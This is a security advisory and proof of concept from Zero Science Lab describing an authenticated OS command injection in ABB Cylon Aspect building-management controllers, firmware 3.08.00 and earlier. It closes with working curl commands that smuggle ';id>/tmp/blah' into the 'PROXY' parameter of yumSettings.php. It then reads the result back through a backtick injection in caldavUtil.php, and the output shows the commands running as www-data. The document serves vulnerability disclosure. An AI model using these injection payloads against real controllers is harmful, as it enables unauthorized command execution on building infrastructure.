ABB Cylon Aspect 3.08.00 (yumSettings.php) Remote Code Execution


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.00

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from an authenticated OS command
injection vulnerability. This can be exploited to inject and execute arbitrary
shell commands through the 'PROXY' HTTP POST parameter called by the yumSettings.php
script.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5841
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5841.php


21.04.2024

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$ cat project

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         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 


$ curl -X POST "http://192.168.73.31/yumSettings.php" \
> -H "Cookie: PHPSESSID=xxx" \
> -d "CMD=set&PROXY=;id>/tmp/blah"
Set proxy called - no proxy given:
$ 
$ curl -X POST "http://192.168.73.31/caldavUtil.php" \
> -d "command=postFooter&Footer=%60cat /tmp/blah%60"
Set footer to uid=33(www-data) gid=33(www-data) groups=33(www-data):